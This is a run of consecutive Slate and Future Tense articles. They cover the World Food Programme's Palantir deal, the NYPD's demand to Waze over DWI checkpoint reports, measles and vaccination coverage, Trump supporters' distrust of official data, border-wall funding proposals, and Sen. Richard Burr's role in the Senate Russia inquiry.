But Palantir isnt just for policing, which gets to why the United Nations considered collaborating with the firm. What Palantir does, in simplest terms, is aggregate enormous quantities of data from disparate sources into a single pool, allowing organizations to draw new conclusions and connections between them. For example, JPMorgan Chase uses Palantir tech to analyze employee emails, browser histories, GPS locations, download and printer activity, and phone conversations as part of an insider threat-monitoring program. Merck formed a joint venture with Palantir to mine health care data across research institutions and hospitals for insights into cancer treatment.

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Its obvious why such analytics capabilities might interest the immense World Food Programme, which assists around 90 million people in 80 countries and purchases 3 million tons of food each year: These are activities that generate lots of data. In a recent release, the pair stated that the WFP and Palantir will partner to combine data from across the vast U.N.

organization as part of an effort to reduce operational costs and make its work more efficient. The WFP had also already been working with Palantir on a smaller-scale project that aims to optimize the organizations supply chain for nutritious food sourcing and delivery options. According to the release, that pilot project had already saved the WFP more than $30 million in operations where it is being used, and could save as much as $100 million as the pair roll it out more widely.

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In a follow-up release, the WFP stressed that it would not give Palantir access to WFP data that could be linked to specific individuals. It also said that Palantir would not be involved in collecting any data itself, and that the aid agency would maintain strict control of its systemsincluding making assurances that Palantir will treat our content as confidential, not use it for commercial benefit, will not engage in data mining of WFP data or share it with anyone unless expressly authorized in writing by WFP.

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Yet, Im not convinced by the WFPs assurances. Neither are a lot of my colleagues in the humanitarian tech world. Among other issues, some of which are laid out in an open letter signed by dozens of human rights activists and organizationsincluding, full disclosure, my employers at the Signal Programthat urges the WFP to reconsider the terms and scope of its partnership, perhaps the most important of these is the transparency problem.

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Beyond a few press releases, we still dont have much information about how the WFP came to this agreement with Palantir or what the full terms area bad precedent to set in the humanitarian assistance field, where trust is key. This includes having little to no information about Palantirs pricing model (which is notoriously opaque) or its algorithmic assessments (also notoriously opaque and, like other algorithms in this space, subject to harmful biases). As political scientist Virginia Eubanks documents in her recent book, Automating Inequality: How High-Tech Tools Profile, Police, and Punish the Poor, weve already seen how some black box algorithms used to decide who gets social aid in the U.S. have hurt already-marginalized and heavily surveilled communities. (For example, a computer system used by the state of Indiana to cut welfare waste flagged minor errors in benefit applications as a failure to cooperateand resulted in over 1 million individuals losing benefits.) While we certainly dont know if Palantirs analyses will have similar impacts on the people that WFP serves, we do know that unaccountable automated decision-making has the potential to do a lot of harm.

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Im also afraid that the WFP is overconfident in its ability to anonymize and protect sensitive data it shares with Palantir. In a recent report, the International Committee of the Red Cross and Privacy International observed that humanitarian organizations often dont really understand how the private companies they work with collect and analyze data and metadata, making it harder for them to ensure that the companies are doing the right thing. At the same time, its getting ever easier to draw potentially damaging inferences about people (both individuals and groups) from data that doesnt, at first glance, seem revealing. Unfortunately, Palantirs services revolve around doing just that.

Of course, aid organizations cant just stop working with technology.

Then there are the data control and data security issues. It should be a red flag that Palantir recently fought a public battle over data control rights with one of its partners: In 2017, when the NYPD tried to request copies of the companys analyses of department data, Palantir refused to provide the software that would let the NYPD translate the files for a new, non-Palantir system. As BuzzFeed News William Alden reported, it got messier from there, and the standoff highlighted the thorny issue for companies and governments that outsource their data-mining tasks to outside contractors. Neither Palantir nor the WFP have great data-handling records eitherand theres no indication that moves to centralize this data will help the U.N. agency improve its record. Theres also the question of who would be held responsible if something goes wrong, and how? Its unclear if the EUs GDPR rules or other local data protection laws apply to United Nations agencies like WFP, and there are no international treaties that cover data privacy. Without any clear guidelines spelled out by the WFP, it likely means it will be hard to hold either party accountable for data breaches or abuses that occur under its auspices.

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Finally, theres the issue of reputation. International aid organizations pride themselves on their adherence to the humanitarian principles of humanity, neutrality, impartiality, and independence. Sticking to these principles helps those who work with these aid organizations view them as positive actors, and makes it possible for them to be acceptedand gain accessin dangerous places. The WFP may put that trust at risk if people start to associate it and other aid organizations with Palantir, or with other data-extraction companies with links to intelligence and law enforcement, or if sponsors and recipients conclude their privacy is being sacrificed in exchange for food aid and other support.

This is an issue thats bigger than Palantir. As humanitarian tech experts have pointed out, other huge data-driven corporations aid organizations have partnered withincluding Facebook, Google, and Amazondont exactly have shining records on privacy themselves. (And its also the case that Palantirs reputation may benefit from its association with WFP, which may help it repair its bad rap. Ditto these other public-private tech partnerships.)

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On a larger level, humanitarian aid organizations should consider whether, by entering into certain big data-sharing partnerships with some of these corporations, theyre participating in surveillance capitalism, and potentially doing so to the detriment of the individuals they aim to assist.

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Of course, aid organizations cant just stop working with technology. A humanitarian moratorium on working with private tech companies would be unrealistic, and shortsighted, and ignorant of great things tech partners can bring to the table. What we need are better ways to ensure that tech companies will act as good allies when they work with humanitarian organizations.

For the WFP, this should involve taking steps like those outlined by humanitarian tech advocates in the open letter. Among their recommendations: The WFP should release the full terms of its agreement with Palantir to the public, and put out more information about how the agency made the decision to work with Palantir in the first place. It should establish an independent review panel to go over the project, especially to look critically at the privacy and accountability safeguards it does and does not contain, and to make sure the WFP has a clear path to end its relationship with Palantir. And it should set up a system that would allow people who think theyve been harmed by any data-driven decisions that come out of the partnership to file grievances and have legitimate claims redressed.

Humanitarianism is based on the do no harm principle, but without this bare minimum of protections in place, aid groups run the risk of inadvertently violating this very basic idea. Tech minded private-public partnerships like these can provide new and significant tools to assist with aid. With some basic safeguards in place, aid organizations like WFP wouldnt just improve their own work. They would set a badly needed example for the rest of the worldincluding Palantirof how to do technology right.

Future Tense is a partnership of Slate, New America, and Arizona State University that examines emerging technologies, public policy, and society.Last week, the New York Police Department demanded that Waze, the hugely popular navigation app, remove users ability to report DUI checkpoints. In a letter to Google, Wazes parent company, NYPD threatened to take legal action against the company and outlined why it thought the reports could be unlawful. This isnt the first time that a city agency has complained aboutor threatened to sueWaze. According to some, the app is to blame for unsafe driving, congestion, and crime. But NYPDs legal justifications for going after the app are dicey, while Waze appears to be in the clear.

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Waze, which has more than 100 million users, is unlike most other wayfinding apps. Its main selling point is the apps crowdsourced features, which allow users to share information about traffic, road conditions, and accidents. As Waze describes it, its users not only share information, but also share a common goal: to outsmart traffic. Waze users can report road hazards, red-light cameras, and the location of police vehicleswhich police have complained about for years.

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NYPD has taken issue with one of Wazes new user-reporting features: DWI checkpoints. The department says that individuals who report DWI checkpoint locations might be trying to impair the enforcement of traffic and drunken driving laws. Theres only one problem: Publishing the location of a DWI checkpoint is not a crimefar from it. DWI checkpoints are quintessential police searches, intended to prevent the crime of drunken driving. Like other types of government activity, police searches are matters of public record.

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DWI checkpoints are more effective at stopping drunken driving when theyre public than when theyre secret.

Reporting or publishing information about government conduct is First Amendmentprotected activity. As a result, any attempt by NYPDa government actorto halt that publication faces serious barriers. Government efforts to prevent the lawful publication of information by Waze users are presumptively unconstitutional. And NYPDs letter is doubly questionable because the city is currently fighting a federal lawsuit that alleges it has a history of using illegal checkpoints that are disproportionately located in communities of color. The coincidence raises questions about whether NYPD is more interested in protecting public safety or saving its own hide.

Of course, NYPD ostensibly isnt trying to stop individual Waze users from reporting the location of DUI checkpoints. Rather, its trying to cut off their microphonestheir ability to use the platform to broadcast to the community of Waze users in New York City and beyond. The NYPD letter speculates that users who post DWI checkpoint locations on Waze might be intentionally trying to help others evade DWI laws, but evidence suggests that publicity regarding DWI checkpoints is helpful, not harmful. The reason, as described by the Centers for Disease Control and Prevention, is that checkpoints arent actually intended to catch drunken drivers in the act, but rather to deter drunken driving by increasing the perceived risk of arrest. Several studies have confirmed that highly publicized checkpoint programs effectively reduce the incidence of drunken driving accidents. DWI checkpoints are more effective at stopping drunken driving when they are public than when they are secret.

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In any event, the law is clear that NYPD cant force Waze to deactivate this feature. The reason is Communications Decency Act Section 230, the statute that makes it virtually impossible to hold websites or internet platforms liable for what their users post. Even sites that are designed to publish and host the most offensive materialrevenge porn, for examplehave successfully escaped liability because of CDA 230s broad immunity. In order to hold Waze responsible as a publisher of its users reports of DUI checkpoints, NYPD would have to demonstrate both that those reports are actually unlawful and that the platform actually requires users to submit the unlawful information.

NYPDs letter is a classic instance of what legal scholars call jawboning. The term describes when government knows it cant force an actor to do what it wants, so it seeks to persuade it informally. Precisely because CDA 230 and the First Amendment pose such hurdles to legal action, jawboning is a particularly appealing strategy for governments seeking ways of holding internet companies accountable. Thats exactly whats happening here. NYPD knows that it has no authority to actually compel Waze to deactivate this feature, so its choosing to fight a public relations battle instead.

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This isnt the first time that a police agency has threatened to take action against the app. In 2015, Los Angeles Police Chief Charlie Beck sent a similar letter to Google asserting that the ability to report police presence in the applargely so users can avoid speeding ticketsposes a danger to the lives of police officers. The letter cited the tragic assassination of two NYPD officers, Rafael Ramos and Wenjian Liu, and claimed that their killer had used Waze to track the police. But the app was never explicitly connected to the killing, and judging by posts on the /r/Waze subreddit, the capability has remained one of Wazes most popular features.

Nor are Wazes woes limited to police. In 2018, a Los Angeles City Council member asked the city to sue the company for creating dangerous conditions on L.A. roads. Councilman David Ryu complained that the companywhich claimed about 2 million users in and around Los Angeleswas causing congestion on neighborhood streets that had not been intended as arterial routes. Residents on one of the steepest streets in Los Angeles have said that the supposed shortcut is totally unsuitable and should be removed from the navigational algorithm. During massive wildfires in 2017, navigation apps reportedly directed users toward road closures and fires, not away from them, leading LAPD officials to warn residents not to use navigation apps at all.

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Notably, none of these many complaints have given rise to legal action. In spite of the posturing, even cities that blame the app for intractable congestion, traffic, and safety issues know that suing Waze is a waste of time and resources. Instead, agencies appear eager to partner with the company on free data-sharing initiatives, allowing law enforcement to get a direct feed of real-time information from Waze users. While data sharing is unlikely to appease NYPD in this instance, its likely the best solution cities have for resolving their safety concerns in light of the protections for Waze and its users.

Future Tense is a partnership of Slate, New America, and Arizona State University that examines emerging technologies, public policy, and society.Officials in Clark County, Washington, have now confirmed 53 cases of measles, almost entirely among the regions unvaccinated children. Gov. Jay Inslee has declared a state of emergency, while the local public health director last week compared the virus to a lit match, and his communitywhere just 81 percent of children have received their first measles-mumps-rubella shot by the age of 5to a can of gasoline.

Over the past few weeks, news of this outbreak has been picked up by the media outside the Pacific Northwest and characterized as a matter of grave, national importance. Stories on the measles crisis now suggest that its a sign of how the anti-vaccine movement has metastasized into something so much larger and so much bigger than its ever been before; that fake news about vaccines has grown more potent and persuasive on social media; and that, as a result of all this meme-contagion, an infectious disease that was once declared completely eliminated in the U.S. is in the midst of a deadly, disheartening comeback thats spreading fast.

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These claims are all misleading. The anti-vaxxer movement isnt really on the rise all across America, and measles hasnt really re-emerged from clinical oblivion or become a fatal threat to everyones well-being. The outbreak in Clark County may be disturbing, but its a local story: Low vaccination rates in the area, enabled by residents adherence to fringe beliefs and suspect statewide policies, have made this outbreak possible. But attempts to link it to a dawning crisis in America are, at best, a waste of readers time and trust. At worst, they might provide a boost to the anti-vaxxer movement, by exaggerating its extent and influence; or else they could distract us from other, more important obstacles to vaccination, such as health care inequality.

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Heres the most important fact thats lost in these panicky appraisals: Vaccination rates for measles, nationwide, arent going down. Theyve been very stable for a while now. In 2017, the most recent year for which data are available, 91.5 percent of the nations children below the age of 3 had received their first dose of the MMR vaccine. Five years ago, in 2014, that figure was also 91.5 percent. Go back to 2010, and youll find it was 91.5 percent. What about 2005? Again, 91.5 percent.

The anti-vaxxer movement isnt really on the rise all across America, and measles hasnt really re-emerged from clinical oblivion or become a fatal threat to everyones well-being.

In spite of this long-term nontrend, a canonical media narrativeand one thats been repeated many times in recent coverage of Clark Countydescribes a swelling, anti-vaxxer menace to America. The story typically begins with the rise of Andrew Wakefield. In 1998, the now-disgraced gastroenterologist published an article in the Lancet asserting a causal link between the MMR vaccine and autism. While that paper would be disavowed by most of its authors in 2004, then retracted in 2010, its arguments gained a foothold in the public mind via balanced media coverage that pitted medical experts against concerned parents. This perspective was aided by extensive celebrity activism from figures such as Jenny McCarthy and Robert F. Kennedy Jr. According to the standard telling, the Wakefield strain of science denialism still infects the brains of ill-informed parents in Washington and Oregon today, putting the rest of us at risk.

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The numbers simply dont support this narrative, at least on the national scale. In the years leading up to Wakefields Lancet paper, the proportion of American 3-year-olds who had received a measles shot wavered between 91 and 92 percentjust as it has, for the most part, for the past quarter-century. For a study out last year in Health Economics, the University of Cincinnatis Lenisa Chang analyzed the fluctuations in these rates from 1995 to 2006, to see if she could find traces of a Wakefield effect. After controlling for various other factors that might also have affected national vaccination ratese.g., the expansion of health insurance for impoverished childrenChang found there was a significant but very short-lived drop in MMR immunizations following news coverage of the Wakefield paper. The effect was strongest in 2000, when rates were down by about 1.5 percentage points overall, but a few years later, by 2003, they had returned to their normal, pre-Wakefield levels.

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If national vaccination rates have been resilient in the face of the anti-vaxxer plague, then whats the problem? The tiny, anti-vaccine movement is not randomly dispersed throughout the country but rather concentrated in regional hot spots of skepticism. Overall, 91 or 92 percent of children may get their first MMR shot by age 3, but among specific, local communitiesSomalis in Minnesota, Orthodox Jews in New York, hippies in Washington and Oregonrates may sink into the epidemiological danger zone. (Experts peg the threshold for herd immunity at a vaccination rate of 93 to 95 percent. The deeper the plunge below that threshold, the more dramatic the consequences.)

The national peril, then, is said to derive from the growth of these hot spots in size and number. This trend is itself enabled by permissive immunization laws in certain areas. Every state allows parents to opt out of (or postpone) vaccinating their school-age children for legitimate medical reasons, such as the childs having a weakened immune system. Almost all states make allowances for families religious beliefs, too. But in 17 states (including Washington), parents may also claim an exemption from the rules based only on their personal beliefs.

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Any correlation between such lax rules and low immunization rates is not particularly clear at the state level. Among the bottom 10 states for MMR vaccine coverage, four allow philosophical exemptions; while among the top 10, three allow them. We do know that the specific children who receive exemptions are (unsurprisingly) at much higher risk for measles or other preventable diseases. A study published last summer in PLOS Medicine argued that the hot spot problem is getting worse, because people who have access to those exemptions are using them more often. This is a wake-up call, said co-author Peter Hotez to CNN when the paper came out.

The anti-vaxxer movement is not, in fact, going through a stage of rapid growth, and local hot spots of vaccine refusal havent metastasized and spread throughout the country.

Is the use of nonmedical exemptions spiraling out of control? According to the PLOS papers headline finding, the number of children excused from their immunization requirements for religious or philosophical reasons from 2009 to 2017 increased in 11 of the 17 states that permit the latter. There was no sign of increase among the other six states in this category.

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In the meantime, a similar study published a few months earlier found that while the use of such nonmedical exemptions had indeed gone up from 2011 to 2013, it later leveled offa promising sign described by the authors as an important shift in trend. The same research group, led by Emory Universitys Saad Omer and Robert Bednarczyk, later found that the median proportion of children who receive nonmedical vaccine exemptions has inched slowly upward, overall, in recent years. Its also worth remembering that these religious or philosophical exemptions are only taken by a small proportion of the populationthe median rate across all states was 1.8 percent during the 201617 school year, with a range in values running from a low of 0.5 percent in D.C. to 6.5 percent in Oregon.

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Theres a bit of disagreement here, but taken all together, the data tell us that the anti-vaxxer movement is not, in fact, going through a stage of rapid growth and that local hot spots of vaccine refusal havent metastasized and spread throughout the country. Nor should we worry all that much over anti-vaccine activists who pack into public hearings and try to push their local legislatures toward ever more permissive immunization regimes: According to Omer and Bednarczyk, just 11 state laws regarding vaccination were enacted in the U.S. between 2014 and 2018and all of them strengthened existing requirements. (A similar analysis, published in December, found that 13 such pieces of legislation have been passed since 2011, of which 12 were pro-vaccine.)

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What about the tragic fact, so often cited in the news, that measlesa once-vanquished diseaseis breaking out again across the country? That, too, is a gross exaggeration. When news stories say that the Centers for Disease Control and Prevention declared measles eliminated from the U.S. in 2000, they tend to leave out some important context. During the most recent, major wave of measles infection in the U.S., between 1989 and 1991, close to 56,000 people fell ill and more than 100 people died. Outbreaks were not at all uncommon around this time: Several thousand cases would be reported every year, along with several dozen outbreaks among school-age children. But the 198991 epidemic was large enough and deadly enough to cast light on two pressing problems: First, that a single vaccine dose was not sufficient to protect children, and second, that black and Latino children, especially those living in urban areas, were less likely to be vaccinated, and thus more vulnerable to the disease.

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Efforts were made to address both issues in the years that followed. A second measles shot was recommended for all children, while the federal government ramped up efforts to provide free vaccination to high-risk groups. The plan worked. By 1994, vaccine coverage for measles was closing in on 90 percent. The number of cases reported every year soon dropped from the thousands into the hundreds, and then into the tens. It was in response to this decline that experts from the CDC announced that measles had been eliminated from the U.S.

This was never meant to suggest that measles had been eradicated, though, or wiped out, or otherwise routed from our shores; rather that the virus was no longer circulating, all the time, among the U.S. population. Further outbreaks would always be possibleindeed, theyd be virtually assuredbut only when someone brought a case of measles over from a foreign country. In fact, even as the CDC made this declaration in 2000, its experts worried that the term eliminated might be misconstrued, leading to a false sense of security that could itself depress vaccination rates.

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At any rate, we can be a little more precise about whats happening right now. Its true that measles cases have been on the rise in the U.S.: Weve hit triple-digit cases seven times in the past decade, while that happened only twice in the decade just before. And we may yet see a national measles resurgence at some point in the future. But this doesnt mean that the disease has been un-eliminated due to waning vaccination rates or any other cause. Rather, it seems that weve been seeing more imported outbreaks. This years have been linked to a massive outbreak in Ukraine. The recent epidemic among Orthodox Jews in New York, for example, was traced to Eastern Europe via Israel. The strain in Clark County may be the same as well.

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Everyone should vaccinate their damn kidsfor their familys health, for mine, and for everyone elses, too.

So, yes, measles was eliminated from the U.S. in the year 2000and for now its still eliminated. Andrew Wakefields rise (and fall) hasnt changed those basic facts, nor have any anti-vaxxer groups on social media.

Its also worth considering that, even today, the incidence of measlesand its total impact on American public healthremains minuscule. Before we had a vaccine, when hundreds of thousands of people contracted the disease per year, around 1 patient died for every 1,000 sufferers. (For comparison, influenza kills 1.3 to 1.5 per 1,000 cases in the U.S.) Since 2000, there have been a total of 11 reported deaths from measles. While those 11 deaths may have been preventable, and heartbreaking and outrageous, theyre also extreme outliers. The number of Americans who die from measles every year, in this era of resurgence, matches up to the annual number of Americans who get killed by scorpions.

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Ill bet theres anti-vaxxer propaganda that deploys such numbers, too, in claiming that measles isnt really all that bad of a disease, or that the benefits of MMR dont justify the risks to individuals or populations. This is wicked sophistry, of course. Widespread vaccination against measles has saved countless lives since the 1960s and continues to do so today. Obviously, emphatically: Everyone should vaccinate their damn kidsfor their familys health, for mine, and for everyone elses, too.

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But the mere fact that anti-vaxxer beliefs are treacherous and wrong doesnt make them worthy of attention on the national scale. Vaccine refuseniks are still well outside the mainstream. They havent done that much to budge the average uptake rate of MMR across the country. The measles virus isnt back in steady circulation. Deaths from measles remain very, very rare. So, whats the point of all this consternation?

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Maybe its strategic: By staying on high alert, we help to keep the anti-vaccine movement at the fringes of society. Measles outbreaks may be small today, but they could explode at any time, and its better that we panic now, even if its much too soon, than see what happens if we wait.

Except its not so clear that hypervigilance does any good. If the problem of measles outbreaks is localized to hot spots of vaccine refusal, then the solution to that problem will be just as localized. Its the parents in Washington state, not the members of the Washington Post editorial board, who must take aggressive action. In Clark County, for example, they seem to be doing just that: Orders for the measles vaccine were up 500 percent in January, and the state is now considering a ban on philosophical exemptions.

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The same pattern of response has turned up in other anti-vaxxer hot spots, too. First a measles outbreak hits a community with low vaccination rates, then laws are passed and parents change their behavior. So it was for the Disneyland outbreak in early 2015, in which more than 100 people contracted the disease from someone who had been abroad. Californias vaccination rates rose dramatically that year, then climbed even further after the state banned all personal-belief exemptions in 2016. The recent outbreak among Somali Americans in Minnesota produced a similar response, with government programs boosting vaccination rates in the community by more than one-third within a year.

These reversals dont happen on their own. They require hard and focused work by affected families and health officials, fueled by a shared, personal sense of fear and animus. How much more is there to gain by spreading those emotions to other places, where vaccination rates are already very high? It would be nice to know that all this moral indignation served some greater purpose, but that may not be the case. I suspect the climate of opprobrium isnt really prophylactic; rather, its just another way to slake an endless thirst for outrage. Anti-vaxxers are all so dumb and wrong and misinformed and selfish! Fake news has ruined everything! No one trusts their doctors anymore! Gah, it feels good.

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Maybe we love to hate the anti-vaxxers because they offer us distraction. Instead of mulling over fundamental flaws in U.S. health care, we rail against the wealthy nincompoops who send their kids to Waldorf schools. Thats all a bit beside the point. Last fall, national outlets reported that, according to the CDC, the percentage of babies and toddlers who had not received any vaccines at all quadrupled since 2001. The governments report was clear about the source of this alarming stat: Vaccine coverage remained stable and high among U.S. children on the whole, it said, but there were signs of special vulnerability among those in rural areas and without private health insurance. If vaccination rates were dropping, it was to some extent a function of these economic, demographic factors, not metastasizing fringe beliefs.

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In the meantime, 2016 stats reveal a 2.2-point gap between rates of MMR vaccination for white and black toddlers. Compare that with the 1.5-point dip at the very peak of Andrew Wakefields (short-lived) anti-vaxxer influence 20 years ago. If theres a national story here, it should be this: The racial and social inequities in vaccination coverage did not end with the measles epidemic of 1989 to 1991. In the meantime, lets be wary of the claim that weve been taken by extremists to the brink of a catastrophe. For now, the outbreak of disease in Clark County isnt likely to spread that far beyond the troubled community in which it started. Misleading viral outrage, on the other hand, appears to have no end to its transmission.On Monday night, President Donald Trump held a rally in El Paso, Texas. He chose the location based on his claim, delivered in last weeks State of the Union address, that a border wall had rescued the city from rampant crime. By the time Trump arrived, fact-checkers had demolished this lie, pointing out that the wall had no effect. But Trump told his followers to dismiss the numbers and trust him instead. And they did, because this is a measurable fact about Trump supporters: Theyre willing to reject all other sources of informationcrime statistics, intelligence agencies, even conservative mediawhen the president tells them to do so.

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Trump first told his lie a month ago. A wall was put up, he said, and El Paso went from being one of the most dangerous cities in the country to one of the safest cities in the country overnight. Law enforcement data showed that every part of this statement was false: El Paso hadnt been dangerous, its long-term decline in crime mirrored declines in nonborder cities, and crime in the city didnt fallin fact, it leveled off from what had been a trend downwardafter a border fence was built there.

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Fact-checkers laid out these numbers for the president. He ignored them. In his State of the Union address, he repeated the falsehood. On Monday, after Fox News debunked it, he instructed his fans in El Paso to reject the official figures. I spoke to people that have been here a long time, Trump told the crowd. They said when that wall went up, its a whole different ballgame. Having substituted his alleged anecdotes for dataTrump, the crusader against anonymous quotes, named none of his sourceshe then conducted a voice vote to settle the matter. Is that a correct statement? he asked, prodding his audience. The crowd cheered.

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Half of Trump voters said they trusted little to none of the governments figures.

Trump told the attendees to disbelieve news organizations and public officials who cited the data. I dont care whether a mayor is a Republican or a Democrat, he scoffed, referring to El Paso Mayor Dee Margo, a Republican who had tried to correct the president. Theyre full of crap when they say it hasnt made a big difference. He went on: I heard the same thing from the fake news. They said, Oh, crime actually stayed the same. Didnt stay the same! It went way down.  These people, you know, youd think theyd want to get to the bottom of a problem  not try and pull the wool over everybodys eyes.

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Then Trump delivered his closing pitch, a direct appeal to intuition over evidence. You dont need to check the numbers, he argued, since you already know walls work. Its fake news. Im telling you, its just fake news, the president jeered. And you know what? You wouldnt even have to know. You can say that automatically, without even knowing. Its, like, its obvious, its common sense.

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Trumps message was a recipe for incurable ignorance: Reject all contrary evidence as biased. Reject anyone who reports that evidence. Rely on your leaders anecdotes. Trust the uninformed consensus of your friends. Respond automatically. And ignore anyone who says youre a sucker. Youre not being credulous. Youre being vigilant against the fakers. Youre the smart ones.

This is insanity. But among Trump supporters, its the norm. Consider recent surveys on public trust in data. A year ago, an Economist/YouGov poll asked, How many of the statistics reported by the government are reliable and accurate? Most people who had voted for Hillary Clinton in 2016 said most government figures were accurate. Only 15 percent of Trump voters agreed. Half of Trump voters said they trusted little to none of the governments figures. Only 29 percent of adults as a whole said they considered Trump honest and trustworthy, but 74 percent of Trump voters did. Thats five times the share of Trump voters who said they trusted statistics collected by the government.

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Trump supporters specifically rejected law enforcement data. The YouGov survey asked: The government has reported a steady decline in the rate of violent crime over the last twenty years. Do you think the government is correct and the rate of violent crime has decreased, or do you think the rate of violent crime has remained the same or even increased over the past twenty years? Clinton voters were twice as likely to accept the data (43 percent) as to reject it (20 percent). Trump voters were twice as likely to reject the data (39 percent) as to accept it (17 percent).

The presidents devotees also trust him over the intelligence community. In July, a Quinnipiac University poll asked, Who do you trust more to tell you the truth about important issues: President Trump or the U.S. intelligence agencies? In every demographic subsample, including noncollege whites, fewer than one-third of respondents favored Trump. Only one group sided with him: Republicans. By a margin of more than 2 to 1, they rejected the intelligence agencies and chose to trust the president.

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Trumps followers dont just scorn the liberal media. They dismiss any reporting that contradicts the president, even if it comes from outlets they normally trust. In July, an NPR/PBS/Marist poll asked, Who do you trust more: your favorite news source or Donald Trump? For respondents on the political right, this question pitted Trumps credibility not against CNN or the New York Times but against friendly sources such as Fox News. Nevertheless, these respondents picked Trump. While voters as a whole trusted their favorite news source over Trump (62 percent to 29 percent), Trump supporters chose the president, 65 percent to 24 percent. Among Republicans, the gap was even wider: 70 percent trusted Trump more than they trusted their favorite news source.

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Despite Trumps torrential dishonestynearly 8,500 false or misleading statements, at last countclose to half of his supporters say he has never lied. Last May, an Economist/YouGov survey asked, Do you think Donald Trump has or has not ever lied to the American people? Nineteen percent of U.S. adults said he had never lied. Among Trump voters, 40 percent said he had never lied. Thats more than the 31 percent of Trump voters who were willing to say he had lied even once.

So when Trump told the folks at that rally in El Paso to trust him over all contrary evidencelaw enforcement data, the local Republican mayor, fact checks by Fox Newshe wasnt brainwashing them. He was telling them what they already believed. Trumpism isnt about a border wall, any more than its about patriotism or conservatism. Its about unshakeable faith in one man. A liar.

Thanks to Arthur Davis, Michelle McEwen, and Laura Wagner for research assistance.On Tuesday, Sen. Ted Cruz tweeted out his support for the idea that the money seized from Joaquin Guzman, the drug kingpin known as El Chapo, should pay for the southern border wall.

Americas justice system prevailed today in convicting Joaquin Guzman Loera, aka El Chapo, on all 10 counts. U.S. prosecutors are seeking $14 billion in drug profits & other assets from El Chapo which should go towards funding our wall to #SecureTheBorder. https://t.co/hPwEUVM6SP  Senator Ted Cruz (@SenTedCruz) February 12, 2019

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The EL CHAPO Act, which was introduced in 2017 and which Cruz reintroduced in January, proposes the U.S. reserve assets seized from the prosecution of Guzman and other murderous drug lords to offset the cost of building Trumps border wall.

Its an idea that almost certainly wouldnt work. While U.S. prosecutors are seeking to seize billions of dollars of assets connected to Guzmans Sinaloa drug cartel, most of those assets likely belong to Mexico, as was pointed out in a recent Forbes article responding to Cruzs introduction of the bill. And despite Trumps many comments to the contrary, Mexico will not use thator anymoney to pay for the wall.

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On Monday, CNN reported that Trump planned to sign Congress border security deal to avoid a second government shutdown. The deal, which negotiations reached late Monday, includes $1.375 billion for 55 miles of a border wall, less than half of what Trump initially asked for. Trump said on Tuesday that he was not happy with the tentative deal. But the White House has said it is still considering its options for funding the border wall, which could include declaring a national emergency, something that would likely lead to legal challenges.

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The presidents supporters, perhaps seeing his struggles, have offered their own potential funding sources. Heres a brief look at their entirely reasonable alternatives:

 In November, Ohio Rep. Warren Davidson drafted a bill called the Buy a Brick, Build a Wall Act, which, he said, would allow the government to raise money for a border wall by creating a cryptocurrency. Technically, it would allow the government to accept monetary gifts for the border wall, but those gifts could take the form of sort of, like, crowdfunding site, or even blockchain, and you could have all coins, he told NPR.

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 In January, three West Virginia delegates proposed a bill to divert $10 million from the states $186 million budget surplus for wall funding. And around the same time, one Republican lawmaker in Montana proposed just giving $8 milliona tiny fraction of what the president said he neededto help.

 Also in January, one Arizona lawmaker put forth a bill that would help pay for the border wall by taxing state citizens for watching porn. The bill, which First Amendment advocates have described as unconstitutional, would require residents over 18 to submit an official request and pay a $20 fee to the state government to be able to access to porn on their devices.

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 In February, a Tennessee lawmaker introduced a bill that would add fees to money transfers from Tennessee to other countries (he emphasized payments to Mexico in a social media post, but not in the bill itself) to go toward a wall fund.

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The president himself seems to have shifted his line from his oft-repeated campaign promises to make Mexico pay for the wall (a promise he still, somehow, is making!). As a candidate, Trump initially struggled to explain how he would get Mexico to do that. The ideas he has offered at various points include: increasing visa and border crossing fees; threats to block remittance payments to Mexico; tariffs; a solar paneled wall that would pay for itself; and money won from a renegotiated trade agreement. Many of these plans, if implemented, would have been challenged and likely defeated in court.

Congress has until Friday to get Trump to sign its border security deal. Assuming Trump ends up with less than half he wanted, and assuming hell be looking to supplement the Congressional funding with other sources, its possible well still see more zany ideas from his acolytes across the country.This piece was originally published on Just Security, an online forum for analysis of U.S. national security law and policy.

On the same day that North Carolina Sen. Richard Burr officially joined the Trump campaign as a senior national security adviser, the U.S. intelligence community released a statement that the Kremlin was trying to interfere in the election. But the senator already knew those facts and much more. Burr had been fully briefed, in secret, by the U.S. intelligence community a few weeks earlier. Senior U.S. officials told Burr that Russias interference was designed to support Donald Trumps electoral chances. Burr decided to team up with the Trump campaign anyway, and hitch his own electoral fate in North Carolina to Trumps political fortunes.

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More than two years later, Burr now leads the Senates flagship investigation into whether fellow members of the Trump campaign colluded with Russias efforts. As the chair of the Senate Intelligence Committee, Burrs work with Virginia Sen. Mark Warner on the investigation is heading toward its final stage. The committee is expected to issue its major findings in the coming months.

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Burr has received remarkably favorable press coverage for his stewardship of the investigation. Many mainstream commentators have heralded his committee as a bipartisan effort to follow the facts and tell the American public what it finds. Closer observation, however, raises serious questions whether thats how this chapter in the 2016 election saga will end.

Whats largely escaped scrutiny is the case of Burrs own words and deeds during the 2016 campaign. It was impossible to put the pieces together back then. We now have a much clearer picture due to news reports, court filings by the special counsel, and congressional testimony by former administration officials. We have learned a lot about what Russia was doing, what the U.S. intelligence community knew, and what Burr was told. The picture that emerges is neither favorable for Burr personally, nor for what truths Americans can expect to receive from his stewardship of the committee in the months ahead.

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Its a remarkable feat that Burr has held the position of overseeing the Senates Russia investigation, given what was known at the time he assumed the role. It was well-understood that Burr did not remain on the sidelines during the 2016 presidential election. As chair of the Senate Intelligence Committee, Burr was a major catch for the Trump campaign when he joined as senior national security adviser on Oct. 7, 2016.

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In a race for his own re-election at the time, Burr also tied himself closely to Trump. When the Access Hollywood tapes broke by happenstance on the same day that Burr joined the campaign, many Republicans took it as an opportunity to flee Trump. Burr instead embraced the beleaguered candidate and said that Trump had sufficiently apologized. Burr brushed off any criticisms of his closeness to Trump in the ensuing weeks. At his own campaign rally in Gastonia, North Carolina in late October, Burr told the crowd, Theres not a separation between me and Donald Trump.

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With these facts alone, Burr might have been compelled to recuse himself from overseeing any Russia investigation if he had taken a position in the administration. Fellow traveler Jeff Sessions found himself barred from overseeing the Russia investigation as attorney general due to his own participation in the campaigns national security group.

While Sessions hands were tied, Burrs hands in the Senate were free. Burrs control over the investigation would be decided essentially by his own conscience and Senate Majority Leader Mitch McConnells discretion.

